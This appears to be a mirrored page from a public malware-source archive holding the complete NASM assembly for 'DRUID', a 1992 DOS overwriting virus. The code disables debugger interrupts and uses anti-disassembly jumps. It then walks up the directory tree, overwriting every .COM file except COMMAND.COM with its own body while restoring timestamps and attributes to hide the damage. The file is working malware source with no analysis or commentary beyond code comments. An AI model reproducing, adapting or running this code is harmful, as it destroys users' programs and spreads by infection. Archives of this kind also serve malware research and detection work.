mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-28 18:02:48 +00:00
139 lines
4.6 KiB
NASM
139 lines
4.6 KiB
NASM
fname equ 9eh ; pointer to filename in DTA
|
||
|
||
seg_a segment byte public
|
||
assume cs:seg_a, ds:seg_a
|
||
|
||
|
||
org 100h
|
||
|
||
druid proc far
|
||
vstart equ $
|
||
|
||
start:
|
||
mov ax,2EBh ; used to baffle sourcer...
|
||
jmp $-2 ;
|
||
|
||
mov dx,offset newint ; set int1 to newint
|
||
mov ax,2501h
|
||
int 21h
|
||
|
||
mov al,3 ; set int3 to newint
|
||
int 21h
|
||
|
||
mov dx,offset newint ; do it again...
|
||
mov ax,2501h
|
||
int 21h
|
||
mov al,1
|
||
int 21h
|
||
|
||
mov ah,47h ; get current directory
|
||
xor dl,dl ; and save it
|
||
lea si,currdir
|
||
int 21h
|
||
|
||
again:
|
||
|
||
lea dx,fmask
|
||
mov ah,4Eh ; Find first *.COM
|
||
getfile:
|
||
int 21h
|
||
|
||
jnc found_ok ;if ok, goto found_ok
|
||
jmp short bailout ;if no more files, goto bail out
|
||
nop
|
||
found_ok:
|
||
mov si,fname ; load filename into ax
|
||
lodsw
|
||
cmp ax,'OC' ; if first 3 letters is "CO"
|
||
; as in "COMMAND.COM"
|
||
jne infect ; if not, go on
|
||
jmp getnext ; else, get another file
|
||
|
||
mov ax,2EBh ; used to baffle sourcer...
|
||
jmp $-2
|
||
infect:
|
||
mov dx,fname ; get attribute
|
||
mov ax,4300h ; of the file found
|
||
int 21h
|
||
push cx ; and save it
|
||
|
||
xor cx,cx ; reset attributes
|
||
mov ax,4301h
|
||
int 21h
|
||
|
||
mov ax,2EBh ; used to baffle sourcer...
|
||
jmp $-2
|
||
|
||
mov dx,fname ; open file
|
||
mov ax,3D02h
|
||
int 21h ; DOS Services ah=function 3Dh
|
||
; open file, al=mode,name@ds:dx
|
||
jc getnext ; if error, skip to loc_5
|
||
|
||
xchg ax,bx ; get handle in bx
|
||
|
||
mov ax,5700h ; get time'n date
|
||
int 21h
|
||
push dx ; save'em
|
||
push cx
|
||
|
||
mov ah,40h ; write virus to target
|
||
mov cx,virlen ; number of bytes to write
|
||
mov dx,fname ; pointer to file
|
||
int 21h
|
||
|
||
pop cx ; restore the date'n time
|
||
pop dx
|
||
mov ax,5701h
|
||
int 21h
|
||
|
||
mov ah,3Eh ; close target
|
||
int 21h
|
||
|
||
pop cx ; restore the attributes
|
||
mov ax,4301h
|
||
mov dx,fname
|
||
int 21h
|
||
getnext:
|
||
mov ah,4Fh ; get next file matching *.COM
|
||
jmp short getfile
|
||
bailout:
|
||
mov ax,2EBh ; used to baffle sourcer...
|
||
jmp $-2
|
||
|
||
lea dx,dot_dot ; "cd.."
|
||
mov ah,3Bh
|
||
int 21h
|
||
|
||
jc exit ; if error, goto exit
|
||
jmp short again ; do it all over again
|
||
exit:
|
||
mov ax,2EBh ; used to baffle sourcer...
|
||
jmp $-2
|
||
|
||
mov ah,3Bh ; change back to
|
||
lea dx,return_dir ; original directory
|
||
int 21h
|
||
|
||
mov ax,4C00h ; quit to dos with
|
||
int 21h ; errorlevel 0
|
||
|
||
id db ' DRUID, coded by Morbid Angel/Line Noise -92 in Stockholm/Sweden'
|
||
|
||
druid endp
|
||
|
||
newint proc far ; replaces INT1 and INT3
|
||
iret ; with this.
|
||
newint endp
|
||
|
||
fmask db '*.COM',0
|
||
dot_dot db '..',0
|
||
return_dir db '\' ; the slash is used when
|
||
currdir dw 32 dup (?) ; returning to old dir.
|
||
|
||
vend equ $
|
||
virlen equ vend - vstart
|
||
|
||
seg_a ends
|
||
end start
|
||
|